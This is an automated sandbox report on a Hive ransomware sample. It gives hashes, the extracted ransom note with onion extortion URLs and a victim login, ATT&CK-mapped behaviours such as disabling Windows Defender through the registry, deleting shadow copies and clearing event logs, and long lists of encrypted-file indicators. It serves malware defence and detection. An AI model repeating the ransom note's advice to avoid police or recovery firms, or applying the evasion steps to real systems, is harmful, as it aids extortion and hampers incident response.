hive | 70d9d2f6a9b6a6c881f24ea9779ff6c7282f3f486b545975b5dc2121d4eaeb50

Analysis

max time kernel
236s
max time network
128s
platform
windows10_x64
resource
win10-en-20211208
submitted
12/01/2022, 16:48

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General

Target

ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
Size

2.7MB
MD5

4e24407deffd0a8b899961ea1c9222b8
SHA1

5e38a984cad2c7538b86bed6f8fec15491b6b8c3
SHA256

ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef
SHA512

3482a3f81f6a2d4e106df1adcaab2ccef553e0ae944ecfe02ceed2165e9b6ecef8519124c23c8d2eae5a5d301d7d5b4013c88d443b89ad108757ba583391355b

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\rtZ9_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: Hon7JkSqRMN3 Password: NLXTkzFvYmEW4UKe5u7Y To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.xetvm files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
2788	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 10 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\RequestRename.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_pwqU9DCUbt40.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Users\Admin\Pictures\BlockExport.crw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_jA0CasY4qwE0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File renamed	C:\Users\Admin\Pictures\CheckpointFind.raw => C:\Users\Admin\Pictures\CheckpointFind.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_uTBSMQewiWk0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File renamed	C:\Users\Admin\Pictures\CompressStep.raw => C:\Users\Admin\Pictures\CompressStep.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Ogm99aeHdMU0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File renamed	C:\Users\Admin\Pictures\DisconnectAssert.tif => C:\Users\Admin\Pictures\DisconnectAssert.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NBezSEWsjtQ0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Users\Admin\Pictures\DisconnectAssert.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NBezSEWsjtQ0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File renamed	C:\Users\Admin\Pictures\RequestRename.tif => C:\Users\Admin\Pictures\RequestRename.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_pwqU9DCUbt40.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File renamed	C:\Users\Admin\Pictures\BlockExport.crw => C:\Users\Admin\Pictures\BlockExport.crw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_jA0CasY4qwE0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Users\Admin\Pictures\CheckpointFind.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_uTBSMQewiWk0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Users\Admin\Pictures\CompressStep.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Ogm99aeHdMU0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Grace-ul-oob.xrm-ms.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_o8B0ae9T3Q00.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI\BOLDSTRI.ELM.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_fGd2gMXIAKk0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Place\contrast-black\MedTile.scale-125.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemeCreation\Edit.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\contrast-black\SmallLogo.scale-150_contrast-black.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\ui-strings.js.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_EWlQNQroBm40.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\ar\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_lbt69iqdGaw0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\Group.scale-180.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-GoogleCloudCache-Light.scale-100.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_14mYjW7TQuA0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\id\msipc.dll.mui.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_zrsnk8MNWn80.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\WATER.ELM.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Xs4oSRuKaJ00.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\Assets\BadgeLogo1.targetsize-54.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.EXCEL.16.1033.hxn.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_3Zr4OFKAa8s0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Square150x150Logo.scale-100.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-64.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-40.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GamesXboxHubSplashScreen.scale-200_contrast-high.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\TextureBitmaps\pitissue.jpg	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_m-odGUePpzk0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\CHANGELOG.md	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ja-JP\FlickLearningWizard.exe.mui	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\InsiderHubSplashSquareTile.scale-125.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\8080_20x20x32.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\Logo.scale-150.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-default_32.svg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_4LMcAibsjeU0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_u3JoQYk2w-Y0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\it-it\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipschs.xml	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_mdYA42ZAqJs0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\Sybase.xsl.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_wy7UvY93FP40.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\placeholder.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_cW0v-vDd77E0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WorldClockWideTile.scale-125.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.StarClub\Assets\collection_grey.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_DJ-Efcpf0JM0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\movie.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\small\mooning.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Home\WideTile.scale-200.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NauBMFWQ3dA0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\WinStore.winmd	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-24_altform-unplated.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\MpEvMsg.dll.mui	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_pl.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_e4wDte20X240.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Western\western_12d.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosStoreLogo.contrast-white.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_BGWQRAcnY-I0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\index_poster.jpg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_rzIvnpMoyuw0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_yk5Bdfi60rc0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\rtZ9_HOW_TO_DECRYPT.txt	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_j7pq3SjDmRM0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\LiveTile\W3.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\jm_16x11.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-GoogleCloudCache-Dark.scale-140.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_4E4UgOyxYsg0.xetvm	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\DarkBlue.png	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2196	vssadmin.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2256	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1044	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3264	powershell.exe
3264	powershell.exe
3264	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe
2440	ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	2836	wevtutil.exe
Token: SeBackupPrivilege	2836	wevtutil.exe
Token: SeSecurityPrivilege	3924	wevtutil.exe
Token: SeBackupPrivilege	3924	wevtutil.exe
Token: SeSecurityPrivilege	916	wevtutil.exe
Token: SeBackupPrivilege	916	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1264	wmic.exe
Token: SeSecurityPrivilege	1264	wmic.exe
Token: SeTakeOwnershipPrivilege	1264	wmic.exe
Token: SeLoadDriverPrivilege	1264	wmic.exe
Token: SeSystemProfilePrivilege	1264	wmic.exe
Token: SeSystemtimePrivilege	1264	wmic.exe
Token: SeProfSingleProcessPrivilege	1264	wmic.exe
Token: SeIncBasePriorityPrivilege	1264	wmic.exe
Token: SeCreatePagefilePrivilege	1264	wmic.exe
Token: SeBackupPrivilege	1264	wmic.exe
Token: SeRestorePrivilege	1264	wmic.exe
Token: SeShutdownPrivilege	1264	wmic.exe
Token: SeDebugPrivilege	1264	wmic.exe
Token: SeSystemEnvironmentPrivilege	1264	wmic.exe
Token: SeRemoteShutdownPrivilege	1264	wmic.exe
Token: SeUndockPrivilege	1264	wmic.exe
Token: SeManageVolumePrivilege	1264	wmic.exe
Token: 33	1264	wmic.exe
Token: 34	1264	wmic.exe
Token: 35	1264	wmic.exe
Token: 36	1264	wmic.exe
Token: SeIncreaseQuotaPrivilege	3048	wmic.exe
Token: SeSecurityPrivilege	3048	wmic.exe
Token: SeTakeOwnershipPrivilege	3048	wmic.exe
Token: SeLoadDriverPrivilege	3048	wmic.exe
Token: SeSystemProfilePrivilege	3048	wmic.exe
Token: SeSystemtimePrivilege	3048	wmic.exe
Token: SeProfSingleProcessPrivilege	3048	wmic.exe
Token: SeIncBasePriorityPrivilege	3048	wmic.exe
Token: SeCreatePagefilePrivilege	3048	wmic.exe
Token: SeBackupPrivilege	3048	wmic.exe
Token: SeRestorePrivilege	3048	wmic.exe
Token: SeShutdownPrivilege	3048	wmic.exe
Token: SeDebugPrivilege	3048	wmic.exe
Token: SeSystemEnvironmentPrivilege	3048	wmic.exe
Token: SeRemoteShutdownPrivilege	3048	wmic.exe
Token: SeUndockPrivilege	3048	wmic.exe
Token: SeManageVolumePrivilege	3048	wmic.exe
Token: 33	3048	wmic.exe
Token: 34	3048	wmic.exe
Token: 35	3048	wmic.exe
Token: 36	3048	wmic.exe
Token: SeIncreaseQuotaPrivilege	3048	wmic.exe
Token: SeSecurityPrivilege	3048	wmic.exe
Token: SeTakeOwnershipPrivilege	3048	wmic.exe
Token: SeLoadDriverPrivilege	3048	wmic.exe
Token: SeSystemProfilePrivilege	3048	wmic.exe
Token: SeSystemtimePrivilege	3048	wmic.exe
Token: SeProfSingleProcessPrivilege	3048	wmic.exe
Token: SeIncBasePriorityPrivilege	3048	wmic.exe
Token: SeCreatePagefilePrivilege	3048	wmic.exe
Token: SeBackupPrivilege	3048	wmic.exe
Token: SeRestorePrivilege	3048	wmic.exe
Token: SeShutdownPrivilege	3048	wmic.exe
